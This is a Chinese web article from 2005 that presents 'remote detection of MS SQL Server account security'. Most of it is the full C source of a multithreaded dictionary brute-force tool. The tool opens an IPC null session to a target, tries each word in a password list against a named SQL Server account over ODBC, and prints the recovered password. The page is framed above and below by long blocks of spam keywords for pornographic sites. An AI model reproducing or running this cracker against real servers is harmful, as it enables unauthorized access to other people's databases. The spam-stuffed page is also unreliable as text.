国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

遠程檢測MS SQL Server賬號安全性
2005-08-24   

ODBC是開放數據互連(Open Database Connectivity)的簡稱,它是一個用于遠程訪問數據庫(主要是關系型數據庫)的統一界面標準。

ODBC下現實運用中是一個數據庫的訪問庫,它提供了一組ODBC API函數可以提供給編程者使用。對于程序員來說,ODBC API函數集實際上等于一個動態連接庫(DLL)集,可以在應用程序中直接使用它們。
一個應用程序直接調用ODBC API函數來進行數據庫的應用工作,工作過程一般比較復雜。其中一種辦法大概是以下幾步:
<1>啟動ODBC數據庫應用程序。
<2>與服務器建立IPC SESSION。
<3>創建數據庫應用的環境句柄。
<4>創建連接句柄。
<5>連接數據源。
<6>創建語句句柄。
<7>通過上一步創建的語句句柄來執行SQL操作。
<8>釋放語句句柄。
<9>要進行多此SQL操作的話,就循環步驟6-8。
<10>斷開與數據庫的連接。
<11>釋放連接句柄。
<12>釋放環境句柄。
<13>斷開IPC SESSION。
<14>程序結束。
下面以一個實例來說明遠程檢測MS SQL Server賬號密碼的全過程。
/**********************************************************
Module Name:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
////////////////////////////////////////////////////////////////////////
file://定義全局變量
char dict[20000][40],//密碼字典
UserName[40],//用戶名
target[40],//目標服務器
passwd[40];//已經探測出來的正確密碼
int total=0;//字典里面單詞數量
BOOL Cracked=FALSE;//探測密碼成功時此值為TRUE
HANDLE hSemaphore,//信標內核對象
hEvent;//事件內核對象
long MaxThreads,//最大線程數量
ActiveThreads;//活動線程數量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\nPower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nUsage:%s "
"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}
////////////////////////////////////////////////////////////////////////
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];
file://打開字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}
while(!feof(fp))
{
file://讀取數據到臨時變量
if(fgets(tmp,40,fp)==NULL)
break;
file://把從文件里面讀出來的最后一位數據[換行符號]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";
strcat(RN,RemoteName);
strcat(RN,"\\ipc$");
nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";
strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");
ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
DWORD WINAPI SQLCheck(PVOID pPwd)
{
file://定義局部變量
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API運行返回值
SCHAR ConnStr[200];//連接數據庫字符串
long PreviousCount;
file://取得傳遞過來準備探測的密碼
pwd=(char *)pPwd;
file://構造連接數據庫字符
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://創建數據庫應用的環境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
ExitProcess(1);
}
file://設置ODBC版本環境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://創建連接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://連接數據源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://連接失敗,函數終止
file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
}
else
{
file://連接遠程MSSQL Server數據庫成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://斷開連接
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://釋放連接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://釋放環境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://對信標當前資源數量進行遞增1,并取得當前資源數量的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://計算當前活動線程數量
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads-->%d.",ActiveThreads);
file://如果活動線程數量為0,那么將事件內核對象hEvent改為已通知狀態,程序結束
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}
////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//線程句柄
DWORD dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//程序運行的起始和結束時間
double duration;
if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目標地址,用戶名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://取得并檢查用戶輸入的最大線程數量
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://讀取字典中的單詞到內存中
if(ReadDic(argv[3])!=0)
return 1;
file://與目標機器建立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://創建信標內核對象,最大資源數量和可以使用的資源數量均為MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
return 1;
}
file://創建事件內核對象[人工重置,初始狀態為未通知]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return 1;
}
file://開始計時
start=clock();
file://開始建立線程探測密碼
for(i=0;i {
file://探測密碼成功后跳出此循環
if(Cracked==TRUE)
break;
file://顯示進度信息
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);
file://創建線程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
file://處理創建線程錯誤的情況
if(hThread==NULL)
{
err++;
MessageBox(NULL,"thread error","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://等待信標內核對象通知,可用資源數量大于0則繼續創建線程,等于0則線程進入等待狀態
WaitForSingleObject(hSemaphore,INFINITE);
}
file://等待事件內核對象通知,最多等待3分鐘
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
case WAIT_OBJECT_0:
printf("\nAll thread done.");
break;
case WAIT_TIMEOUT:
printf("\nWait time out.Exit.");
break;
case WAIT_FAILED:
printf("\nWaitForSingleObject() failed.");
break;
}
file://斷開與目標機器的IPC Session
DelIPC(target);
file://探測密碼成功后回顯信息
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
file://記時結束
end=clock();
file://轉換時間格式
duration = (double)(end - start) / CLOCKS_PER_SEC;
file://顯示所用時間
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程序在windows2000,vc++6.0環境下編譯通過。


熱詞搜索:

上一篇:基于角色的方式管理SQL Server安全
下一篇:SQL Server補丁安裝常見問題

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国产日韩欧美激情| 亚洲免费观看高清在线观看| 国产欧美一区视频| 国内国产精品久久| 国产人成亚洲第一网站在线播放| 成人h动漫精品一区二| 亚洲精品欧美专区| 欧美二区三区的天堂| 国产在线精品一区二区夜色| 日本一区免费视频| 99热精品国产| 日本不卡高清视频| 欧美激情一区二区三区四区| 91伊人久久大香线蕉| 日韩av高清在线观看| 国产精品久久久久永久免费观看 | 免费成人在线视频观看| 国产亚洲1区2区3区| 在线视频国内自拍亚洲视频| 九色|91porny| 一区二区三区欧美视频| 久久精品一区二区三区不卡牛牛 | 九九精品视频在线看| 亚洲三级免费观看| 日韩一区二区电影网| av在线这里只有精品| 日韩极品在线观看| 中文字幕在线视频一区| 日韩一区二区在线播放| 91香蕉国产在线观看软件| 久久99国产精品成人| 香蕉久久一区二区不卡无毒影院 | 久久九九久久九九| 欧美午夜精品电影| 成人黄色av电影| 亚洲国产精品久久人人爱| 中文字幕精品综合| 精品福利一区二区三区免费视频| 色婷婷综合视频在线观看| 成人免费观看视频| 国产成人综合自拍| 国产一区二区网址| 麻豆精品久久精品色综合| 亚洲成av人片在线观看| 有码一区二区三区| 亚洲天堂av一区| 日韩伦理av电影| 亚洲图片激情小说| 国产精品国产三级国产普通话99 | 国产日产欧产精品推荐色| 欧美电影免费观看高清完整版 | 色偷偷久久人人79超碰人人澡 | 不卡大黄网站免费看| 国产成人免费xxxxxxxx| 亚洲成人av一区二区三区| 激情丁香综合五月| 欧美日韩免费在线视频| 91精品国产91综合久久蜜臀| 欧美一区二区三区系列电影| 日韩精品一区二区三区在线播放| 久久精品人人做人人综合| 亚洲欧洲日产国码二区| 国产成人8x视频一区二区| 91麻豆精品国产91久久久资源速度| 91视频国产资源| 欧美一区二视频| 97se亚洲国产综合自在线观| 欧美国产精品一区二区| yourporn久久国产精品| 91丨porny丨国产入口| 欧美va天堂va视频va在线| 日韩欧美国产系列| 欧美一区中文字幕| 日韩欧美不卡在线观看视频| xnxx国产精品| 国产精品你懂的| 一区二区三区 在线观看视频| 亚洲成a人v欧美综合天堂下载| 视频一区欧美日韩| 久久99精品久久久久婷婷| 成人免费福利片| 色婷婷一区二区三区四区| 欧美日韩国产综合一区二区三区| 日韩欧美国产一区二区三区| 久久久精品免费免费| 中文字幕一区二区三区不卡在线| 亚洲成av人片| 国产精品一区二区91| 欧美综合在线视频| 欧美一区二区三区在线视频| 日本一区二区三区在线不卡| 亚洲欧美色图小说| 精品一区二区三区视频| 成人av资源在线| 欧美一区二区视频免费观看| 亚洲男人的天堂网| 九九精品一区二区| 欧美日韩在线观看一区二区| 日韩网站在线看片你懂的| 国产精品国产三级国产有无不卡 | 国产偷国产偷精品高清尤物| 综合亚洲深深色噜噜狠狠网站| 午夜精品爽啪视频| 国产盗摄视频一区二区三区| 在线成人午夜影院| 国产精品久久久久婷婷二区次| 调教+趴+乳夹+国产+精品| 成人精品国产一区二区4080 | 欧美蜜桃一区二区三区| 日本一区二区综合亚洲| 麻豆成人av在线| 欧美在线小视频| 国产精品丝袜一区| 免费成人美女在线观看| 成人一级片网址| 日韩欧美卡一卡二| 亚洲国产乱码最新视频| gogo大胆日本视频一区| 久久久国产精品麻豆| 美女视频一区在线观看| 欧美日韩一本到| 亚洲激情校园春色| www..com久久爱| 久久久久久亚洲综合影院红桃| 日韩成人午夜电影| 91精品国产综合久久小美女| 亚洲第一成人在线| 欧美性受xxxx黑人xyx性爽| 亚洲人一二三区| 色成人在线视频| 亚洲视频图片小说| 色综合一区二区| 一区二区三区中文字幕在线观看| 99re这里都是精品| 亚洲精品国产精品乱码不99| 欧美在线综合视频| 亚洲一线二线三线视频| 欧美色偷偷大香| 日日摸夜夜添夜夜添国产精品 | 日本中文一区二区三区| 欧美日韩一区二区三区不卡| 一区二区视频在线| 在线看国产一区二区| 91精品国产色综合久久ai换脸| 亚洲bt欧美bt精品| 日韩视频在线你懂得| 老汉av免费一区二区三区| 精品国产免费一区二区三区四区| 国产精品一卡二卡在线观看| 国产精品麻豆网站| 91丨porny丨中文| 日韩不卡一区二区| 精品国产制服丝袜高跟| 国v精品久久久网| 亚洲免费大片在线观看| 在线观看网站黄不卡| 五月婷婷久久综合| 国产色婷婷亚洲99精品小说| av一区二区三区在线| 一区二区三区四区国产精品| 欧美日本一区二区三区| 韩国毛片一区二区三区| 亚洲图片激情小说| 91精品国产色综合久久久蜜香臀| 国内精品久久久久影院薰衣草| 国产精品三级视频| 欧美电影在哪看比较好| 成人综合日日夜夜| 午夜a成v人精品| 中文字幕欧美日本乱码一线二线 | 亚洲视频免费在线观看| 欧美一区二区啪啪| 国产成人午夜片在线观看高清观看| 亚洲人成亚洲人成在线观看图片| 6080日韩午夜伦伦午夜伦| 国产福利一区二区| 午夜精品福利在线| 国产精品五月天| 欧美一级二级三级乱码| 色综合天天综合网天天看片| 久久国产尿小便嘘嘘| 一区二区三区精品久久久| 欧美成人综合网站| 欧美在线观看视频在线| 国产一区二区久久| 亚洲v日本v欧美v久久精品| 精品日本一线二线三线不卡| 日本高清不卡视频| 成人小视频免费观看| 久久黄色级2电影| 亚洲人成人一区二区在线观看 | 久久免费美女视频| 91精品免费观看| 欧美精品自拍偷拍动漫精品| 99久久精品久久久久久清纯| 另类小说欧美激情| 午夜精品视频一区| 亚洲一二三四在线| 亚洲欧美经典视频| 亚洲久草在线视频|